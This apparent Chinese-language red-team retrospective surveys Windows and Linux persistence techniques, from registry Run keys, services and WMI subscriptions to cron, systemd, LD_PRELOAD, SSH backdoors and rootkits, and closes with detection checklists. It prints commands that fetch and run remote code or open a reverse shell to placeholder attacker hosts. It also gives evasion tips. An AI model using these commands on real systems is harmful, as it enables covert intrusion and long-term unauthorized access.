1. 项目概述一次关于“权限维持”的深度复盘在安全攻防的实战对抗中拿到一个系统的访问权限往往只是万里长征的第一步。真正考验技术深度和持久性的是如何在目标环境中“站稳脚跟”即使在被发现、被清理后依然能保留一条甚至多条返回的通道。这个过程我们称之为“权限维持”。最近我对自己过去几年在红队评估和渗透测试项目中遇到的、用到的、以及研究过的各类权限维持技术做了一次系统性的梳理和复盘形成了这份“小结”。它不是一个简单的技术列表更像是一份从攻击者视角出发结合防御方检测逻辑的战术手册。无论你是负责防守的安全工程师希望了解攻击者可能藏身何处还是从事安全研究或渗透测试需要构建更隐蔽、更持久的访问能力这份基于实战经验的总结或许都能给你带来一些新的视角和启发。权限维持的本质是在目标系统上植入一个“后门”但这个后门需要足够隐蔽能够绕过常规的安全检查并且具备在连接中断后的自我恢复或备用唤醒能力。2. 权限维持的核心思路与分类框架在深入具体技术之前我们必须先理清权限维持的核心设计思路。盲目地堆砌技术点没有意义理解背后的“为什么”才能灵活运用。我的分类主要基于两个维度持久化的位置和触发的条件。2.1 基于持久化位置的分类这是最直观的分类方式即后门被放置在系统的哪个“角落”。用户态持久化这类技术主要利用操作系统为合法用户和应用程序提供的各种自动启动机制。它的优势在于实现相对简单不需要极高的权限通常用户级权限即可并且种类繁多。但缺点也同样明显由于这些位置是公开的、文档化的因此也是防守方重点监控和排查的对象。例如Windows的注册表Run键、计划任务、服务Linux的crontab、systemd服务、profile/bashrc文件等。内核态持久化这类技术需要更高的权限通常是系统/root权限通过修改操作系统内核或加载恶意驱动模块来实现。它的隐蔽性极强因为其存在于比安全软件更底层的位置常规的用户态检测工具难以发现。但实现复杂稳定性要求高一旦出错可能导致系统崩溃并且对操作系统版本有较强的依赖性。例如Linux的LKM可加载内核模块rootkitWindows的驱动级后门。应用层持久化这是一种“寄生”思路不直接对抗操作系统而是寄生在常见的、可信的应用程序中。例如通过DLL劫持、COM劫持、Office加载项、浏览器扩展、IDE插件等方式在用户启动某个合法应用时悄无声息地执行我们的代码。这种方式的隐蔽性来自于“白名单”信任因为载体是合法的软件。硬件/固件层持久化这是最高级别也是最难以检测和清除的持久化方式。通过感染BIOS/UEFI固件、硬盘固件如HPA/DCO区域、网卡BootROM等在操作系统加载之前就获得控制权。这种技术通常用于高级持续性威胁APT对攻击者的技术能力和资源要求极高。2.2 基于触发条件的分类后门在什么时候、什么条件下被激活决定了它的存活概率和可用性。定时触发最经典的方式如计划任务cron, Scheduled Tasks。设定一个固定的时间或周期来执行后门程序。优点是可靠缺点是模式固定容易被基于时间的异常检测发现例如每天凌晨3点准时产生一个可疑网络连接。事件触发这是更高级、更隐蔽的方式。后门的执行与某个特定系统事件绑定。例如登录事件用户登录交互式或远程时触发。特定进程启动当explorer.exe、lsass.exeWindows或sshd、bashLinux等关键进程启动时触发。文件访问事件当访问某个特定文件或目录时触发利用文件系统过滤器驱动或inotify。网络事件当收到特定特征的数据包时触发无端口监听的后门。被动触发Callback后门不主动向外连接而是等待来自攻击者的特定指令来激活。例如一个普通的系统服务被植入恶意代码平时表现正常只有当收到经过特殊构造的、合法的控制命令如某个特定参数的RPC调用时才执行恶意操作。这极大降低了网络流量和进程行为的异常性。生存性触发这是为了应对后门被清除而设计的“复活”机制。例如一个计划任务A负责监控后门进程B是否存在如果B被结束则A立即重新启动B。或者利用WMI的永久事件订阅来监控和恢复进程。这要求攻击者必须同时清理掉所有相互关联的持久化点否则就会“春风吹又生”。理解这些分类有助于我们在实战中根据目标环境权限水平、安全软件、监控强度和任务目标长期潜伏、临时访问选择合适的、甚至是组合式的权限维持方案。3. 主流操作系统权限维持技术细节解析接下来我们深入到Windows和Linux这两个最主要的环境看看有哪些经典的、以及一些新兴的“落脚点”。3.1 Windows 系统权限维持点深度剖析Windows因其复杂的组件和向后兼容性提供了极其丰富的持久化机会。3.1.1 注册表——经典的起点但非终点注册表的自启动项是入门必学但也是防守方扫描的重灾区。常见键值HKCU\Software\Microsoft\Windows\CurrentVersion\RunHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run(64位系统上的32位程序)HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce(通常更隐蔽)实战技巧伪装使用与系统进程或常见软件相似的名称和路径。例如将后门命名为svch0st.exe数字0代替字母o放在C:\Windows\Temp\或C:\ProgramData\目录下。参数注入不直接指向恶意程序而是修改合法程序的启动参数。例如将HKLM...\Run下的SecurityHealth项指向C:\Windows\System32\SecurityHealthSystray.exe的值末尾添加一个指向恶意DLL的路径利用DLL劫持或进程镂空等技术加载。利用映像劫持IFEO这是一个非常古老但有时仍有效的技术。在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TargetExe下创建键添加Debugger值为恶意程序路径。当系统尝试启动TargetExe时会先启动“调试器”即我们的后门。防守方现在对常见程序的IFEO检查也很严格。3.1.2 计划任务Task Scheduler—— 灵活而强大计划任务比注册表Run键更灵活可以设置触发器登录时、定时、系统空闲时等和条件仅当联网时运行。创建命令示例schtasks /create /tn Microsoft\Windows\WindowsUpdate\ScheduledScan /tr C:\Windows\System32\notepad.exe C:\bad\payload.dll /sc onlogon /ru SYSTEM /f/tn任务名称。关键技巧将任务创建在系统内置的任务路径下如Microsoft\Windows\WindowsUpdate\这比放在根目录下隐蔽得多。/tr运行的程序。这里演示了通过合法程序notepad.exe加载恶意DLL的参数注入方式。/sc onlogon触发器为用户登录时。/ru SYSTEM以最高权限SYSTEM运行。检测规避防守方会检查任务Author字段、Actions中的命令行参数。高级攻击者会通过编程方式如使用COM接口ITaskService创建任务并尽可能模仿合法任务的属性。3.1.3 Windows服务——高权限的常驻后台将后门注册为系统服务可以实现高权限、开机自启、且作为独立进程持续运行。创建方法sc命令sc create WinSvcUpdater binPath C:\Windows\Temp\svchost.exe -k netsvcs start auto DisplayName Windows Service Updater。注意binPath后面的空格是语法要求。利用现有服务修改一个已存在的、非核心服务的ImagePath需要相应权限或者利用服务的“恢复”选项卡设置服务失败后运行一个程序通过故意崩溃服务来触发后门。高级技巧——服务 DLLsvchost.exe 托管 这是更隐蔽的方式。将恶意DLL注册为一个服务由共享进程svchost.exe加载。这样在进程列表中恶意代码运行在合法的svchost.exe进程内。在HKLM\SYSTEM\CurrentControlSet\Services\ServiceName下创建服务项。设置ImagePath为%SystemRoot%\System32\svchost.exe -k GroupName。在Parameters子项下创建ServiceDll指向恶意DLL的路径。在HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下对应GroupName的键值中添加服务名。 防守方会检查ServiceDll的路径是否在白名单内以及DLL的签名。3.1.4 WMI事件订阅——极具隐蔽性的“无文件”持久化WMIWindows Management Instrumentation是微软提供的强大管理框架。利用WMI的永久事件订阅可以实现几乎无文件的持久化。原理创建一个WMI事件过滤器Filter用于监听特定事件如系统启动、特定进程创建、特定时间间隔。然后创建一个消费者Consumer定义当事件触发时执行什么操作如运行一个命令、执行一段VBScript/JScript代码。最后将过滤器和消费者绑定。示例监听每60分钟触发# 创建事件过滤器 $FilterArgs {NameUpdaterFilter; EventNameSpaceroot\cimv2; QueryLanguageWQL; QuerySELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System} $FilterSet-WmiInstance -Class __EventFilter -Arguments $FilterArgs # 创建命令行事件消费者 $ConsumerArgs {NameUpdaterConsumer; CommandLineTemplatecmd.exe /c powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString(http://attacker-server/payload.ps1)} $ConsumerSet-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs # 绑定过滤器和消费者 $Args {Filter$Filter; Consumer$Consumer} $BindingSet-WmiInstance -Class __FilterToConsumerBinding -Arguments $Args优势与检测后门逻辑存储在WMI仓库CIM数据库中不依赖磁盘文件。检测需要专门扫描WMI仓库查看__EventFilter、__EventConsumer和__FilterToConsumerBinding这三个类中的可疑条目。清除时需要删除这三个对应的实例。3.1.5 其他值得关注的角落COM劫持利用系统或应用在加载COM组件时的搜索顺序将恶意DLL放在合法DLL之前的位置或者修改注册表中CLSID的InprocServer32指向恶意DLL。对Office、浏览器等软件特别有效。启动文件夹C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup过于明显仅用于低安全环境或作为备用。Logon Scripts通过组策略或注册表UserInitMprLogonScript设置的登录脚本。Netsh Helper DLL将DLL注册为Netsh的助手当任何用户运行netsh时加载。LSA身份验证包在HKLM\SYSTEM\CurrentControlSet\Control\Lsa的Authentication Packages中添加恶意DLL系统启动时由lsass.exe加载权限极高。3.2 Linux 系统权限维持技术详解Linux的权限维持更依赖于文件系统和各种启动脚本。3.2.1 用户级启动文件~/.bashrc,~/.zshrc,~/.profile用户登录shell时执行。适合针对特定用户的持久化。检测很容易cat一下即可。隐蔽技巧在文件末尾添加一行如[ -f “$HOME/.config/systemd/user” ] . “$HOME/.config/systemd/user”将实际恶意代码隐藏在一个不显眼的二级文件中。3.2.2 系统级启动项与服务Systemd服务现代Linux发行版的主流。创建自定义service文件放置在/etc/systemd/system/或~/.config/systemd/user/下。# /etc/systemd/system/network-update.service [Unit] DescriptionNetwork Configuration Updater Afternetwork.target [Service] Typesimple ExecStart/usr/bin/bash -c bash -i /dev/tcp/ATTACKER_IP/PORT 01 Restartalways RestartSec10 [Install] WantedBymulti-user.targetRestartalways和RestartSec提供了生存性进程被结束会自动重启。启用systemctl enable --now network-update.service。检测检查/etc/systemd/system/和/lib/systemd/system/下是否有陌生或可疑的.service文件以及systemctl list-unit-files --typeservice的输出。Cron计划任务用户级crontab -e编辑文件位于/var/spool/cron/crontabs/username。系统级将脚本放在/etc/cron.hourly/,/etc/cron.daily/等目录或直接在/etc/crontab、/etc/cron.d/下添加配置。隐蔽技巧在/etc/cron.d/下创建文件名类似0systemd这样的文件内容模仿系统任务格式。或者利用reboot关键字实现开机启动。3.2.3 共享库劫持LD_PRELOAD原理通过设置LD_PRELOAD环境变量强制一个动态链接的程序在启动时优先加载我们指定的恶意共享库.so文件。我们可以在这个库中重写libc的函数如getuid,write,connect用于隐藏进程、文件或网络连接。持久化将export LD_PRELOAD/path/to/evil.so写入/etc/profile或~/.bashrc等启动文件影响所有后续启动的shell及其子进程。检测检查敏感启动文件中的LD_PRELOAD设置使用strace命令查看进程启动时加载的库或者用cat /proc/PID/environ查看进程的环境变量。3.2.4 SSH 后门** authorized_keys**最直接将攻击者的公钥添加到目标用户~/.ssh/authorized_keys文件中。可以给公钥添加command选项来限制只能执行特定命令同时隐藏真实意图。SSH软链接后门创建一个指向合法sshd的软链接但使用一个非标准的端口配置文件。例如在/usr/sbin/sshd2链接到/usr/sbin/sshd然后让sshd2监听一个非标准端口使用一个独立的、包含后门配置的sshd_config文件。从网络上看这是一个独立的SSH服务。修改SSH服务端软件直接修改openssh的源代码植入记录密码或允许特定密码认证的后门然后重新编译替换。这是最隐蔽但也是最复杂的方式需要应对系统包管理器的更新。3.2.5 内核级Rootkit这是Linux权限维持的“终极手段”。通过加载一个恶意的内核模块LKM可以直接操纵内核数据结构实现文件隐藏挂钩getdents等系统调用过滤掉恶意文件或目录的列表项。进程隐藏挂钩readdir或遍历/proc的例程隐藏特定进程。网络连接隐藏挂钩网络相关的系统调用隐藏监听端口或外连连接。模块自身隐藏从内核模块列表中移除自身。 检测内核Rootkit非常困难需要借助基于内存取证或硬件虚拟化的安全工具如Volatility, GRR。对于防守方启用Secure Boot、禁止非签名模块加载如配置内核参数module.sig_enforce1是重要的缓解措施。4. 跨平台与无文件权限维持思路随着检测能力的提升传统的落地文件方式风险增高。“无文件”或“轻文件”技术变得越来越重要。4.1 利用内存执行与进程注入核心思想是恶意代码不写入磁盘或只写入一次之后完全在内存中运行。反射式DLL注入Windows将DLL文件本身作为数据在内存中完成加载、重定位、执行完全不调用LoadLibrary因此不会在磁盘上留下DLL文件也不会在模块列表中显示。Metasploit的meterpreter、Cobalt Strike的beacon都大量使用此类技术。进程镂空Process Hollowing创建一个合法的、处于挂起状态的进程如svchost.exe将其主线程的内存空间“挖空”然后写入恶意代码再恢复线程执行。从进程名和路径看完全合法。PowerShell 无文件攻击Powerhell脚本可以完全在内存中加载和执行。例如通过一行命令从远程下载并执行IEX (New-Object Net.WebClient).DownloadString(http://attacker/script.ps1)为了持久化可以将上述命令编码后写入注册表或WMI通过计划任务定期触发执行实现“无文件”的持久化循环。4.2 利用合法系统工具与协议Living-off-the-land尽可能使用操作系统自带的、可信的工具LOLBAS来执行恶意操作减少引入外部二进制文件。Windowsmshta.exe执行HTAHTML Application脚本可内嵌VBScript/JScript。mshta.exe javascript:a(GetObject(script:http://attacker/payload.sct)).Exec();close();rundll32.exe执行DLL中的导出函数。rundll32.exe evil.dll,EntryPointregsvr32.exe注册/执行DLL支持远程SCriptlet文件.sct。regsvr32 /s /n /u /i:http://attacker/payload.sct scrobj.dllcertutil.exe本是证书工具但常被用于下载文件-urlcache -split -f或解码Base64编码的payload。Linuxcurl/wget下载并管道执行。curl -s http://attacker/script.sh | bashpython/perl/php这些解释器可以直接执行网络代码。python -c import urllib2; exec(urllib2.urlopen(http://attacker/code.py).read())ssh通过SSH反向隧道建立持久连接或利用authorized_keys的command选项。实操心得在红队行动中我通常会准备一个“工具箱”里面不是自己的恶意软件而是各种经过混淆或微改的合法系统工具命令行。防守方的EDR可能对powershell.exe连接陌生IP报警但对rundll32.exe调用一个看似正常的系统DLL如shell32.dll但实际参数异常的行为其检测规则可能就没那么完善。关键在于对系统工具行为的深度理解和巧妙组合。5. 防御视角下的检测与排查实践理解了攻击手法防守才能有的放矢。以下是从防守工程师角度出发的实战排查清单。5.1 自动化监控与基线比对文件与目录监控使用SysmonWindows或auditdLinux等工具监控关键持久化位置的写操作。例如监控对注册表Run键、计划任务目录、系统服务目录、WMI仓库文件、Linux的/etc/systemd/system/、/etc/cron.d/、用户启动脚本的创建和修改事件。进程创建监控监控所有进程的创建事件记录父进程、命令行参数、哈希值。异常的子父进程关系如svchost.exe启动cmd.exe再启动powershell.exe是重要线索。网络连接监控建立内部网络连接基线。关注非标准端口的外连、周期性心跳连接、以及与已知恶意IP/域名的通信。基线比对在系统纯净安装或确定安全时收集关键位置的快照如所有自启动项、所有计划任务、所有系统服务、所有内核模块列表。定期或怀疑被入侵时进行比对找出新增或变更项。5.2 手动排查重点检查清单当自动化告警或异常行为出现时需要手动进行深度排查。Windows 手动排查命令示例# 检查自启动项 wmic startup get caption, command, location Get-CimInstance Win32_StartupCommand | Select-Object Name, command, Location, User | Format-List # 检查所有计划任务显示隐藏任务 schtasks /query /fo LIST /v Get-ScheduledTask | Where-Object {$_.State -ne Disabled} | Get-ScheduledTaskInfo | Select-Object TaskName, TaskPath, LastRunTime, NextRunTime # 检查服务特别注意“未签名”的ImagePath Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode, State | Where-Object {$_.PathName -notlike *Microsoft*} | Format-List # 检查WMI事件订阅 Get-WmiObject -Namespace root\Subscription -Class __EventFilter Get-WmiObject -Namespace root\Subscription -Class __EventConsumer Get-WmiObject -Namespace root\Subscription -Class __FilterToConsumerBinding # 检查进程列表注意父进程和命令行 tasklist /v Get-WmiObject Win32_Process | Select-Object ProcessId, ParentProcessId, Name, CommandLine # 检查网络连接关联进程 netstat -ano | findstr LISTENING Get-NetTCPConnection | Where-Object {$_.State -eq Listen} | Select-Object LocalAddress, LocalPort, OwningProcess | ForEach-Object { $proc Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue; [PSCustomObject]{LocalPort$_.LocalPort; ProcessName$proc.Name; PID$_.OwningProcess; CommandLine$proc.CommandLine} }Linux 手动排查命令示例# 检查系统所有用户的cron任务 for user in $(cut -f1 -d: /etc/passwd); do echo Crontab for $user ; crontab -u $user -l 2/dev/null; done ls -la /etc/cron.*/ cat /etc/crontab ls -la /etc/cron.d/ # 检查系统服务 systemctl list-unit-files --typeservice --stateenabled systemctl list-units --typeservice --staterunning # 检查所有进程的完整命令行 ps auxfww # 检查网络连接及对应进程 ss -tulnp netstat -tulnp lsof -i # 检查内核模块 lsmod # 检查系统启动项 cat /etc/rc.local 2/dev/null ls -la /etc/init.d/ # 检查用户启动脚本 cat ~/.bashrc ~/.bash_profile ~/.profile ~/.zshrc 2/dev/null | grep -v ^# # 检查SSH授权密钥 cat ~/.ssh/authorized_keys 2/dev/null # 检查LD_PRELOAD等环境变量 cat /etc/environment /etc/profile /etc/profile.d/* 2/dev/null | grep -i preload5.3 高级内存与行为分析当常规排查无果但怀疑存在高级后门时需要升级手段。内存取证使用Volatility、Rekall等工具对系统内存进行转储和分析。可以发现被隐藏的进程、网络连接、内核模块以及进程内存中残留的恶意代码片段。这对于检测Rootkit和高级无文件后门至关重要。行为沙箱分析在隔离环境中运行可疑程序或监控整个系统记录其所有行为文件、注册表、进程、网络。通过分析其试图建立的持久化点、网络通信模式等来判断恶意性。端点检测与响应EDR部署专业的EDR产品。好的EDR不仅基于特征更基于行为分析能够检测进程注入、凭证窃取、横向移动、持久化尝试等攻击链行为并提供回溯能力。6. 实战中的对抗升级与思考攻防是一场永无止境的博弈。当我方蓝队的检测能力提升后攻击方红队的权限维持技术也在进化。1. 从“持久”到“瞬态”与“按需”与其追求一个永远在线的后门不如部署多个“一次性”或“条件触发”的访问点。例如只在特定时间窗口如下班后激活的计划任务或者利用DHCP、打印机服务等周期性发生的正常网络请求中夹带心跳信号只有收到特定指令才唤醒完整载荷。2. 深度伪装与“白利用”数字签名伪造/窃取给恶意程序签上有效的可能是窃取的代码签名证书使其在安全软件看来是“可信”的。完全寄生不再单独创建进程或服务而是将代码深度注入到像explorer.exe,svchost.exe,lsass.exe这类核心、必需且行为复杂的系统进程中。内存执行不落地模块列表也被抹去。利用硬件特性研究利用CPU特性如Intel SGX创建无法被外部检测的飞地Enclave来隐藏代码或者利用GPU内存来执行恶意逻辑这超出了传统安全软件的监控范围。3. 权限维持的“去中心化”不在单一主机上追求绝对隐蔽而是在一个网络环境中部署多个、不同类型的后门形成一张“网”。一个点被拔除立即通过其他点恢复。甚至利用云函数、第三方可信服务如GitHub Gist, Pastebin作为中继或指令下发通道使后门本身不包含任何硬编码的C2信息。4. 对防守方的启示假设失陷安全建设应从“如何防止入侵”部分转向“如何快速发现和响应入侵”。采用“零信任”架构持续验证最小权限。纵深防御没有银弹。需要组合策略严格的端点安全策略应用白名单、权限控制、完善的日志集中收集与分析涵盖端点、网络、身份、定期的威胁狩猎主动寻找潜伏的威胁、以及员工的安全意识培训。关注行为而非仅特征静态特征文件哈希、域名易被绕过。必须建立对正常用户、设备、网络行为的基线任何偏离基线的异常行为如服务账户在凌晨登录、进程访问非常规注册表路径、出现异常的父子进程关系都值得深入调查。权限维持的战场是攻击者创造力与防守者细致程度的终极较量。这份小结既是我对过去经验的梳理也是对未来对抗的思考。它没有终点因为攻击者在不断寻找新的阴影角落而防守者必须让光照进每一个可能的缝隙。无论是攻是防深刻理解这些技术的原理和上下文是在这场无声战争中保持主动权的唯一途径。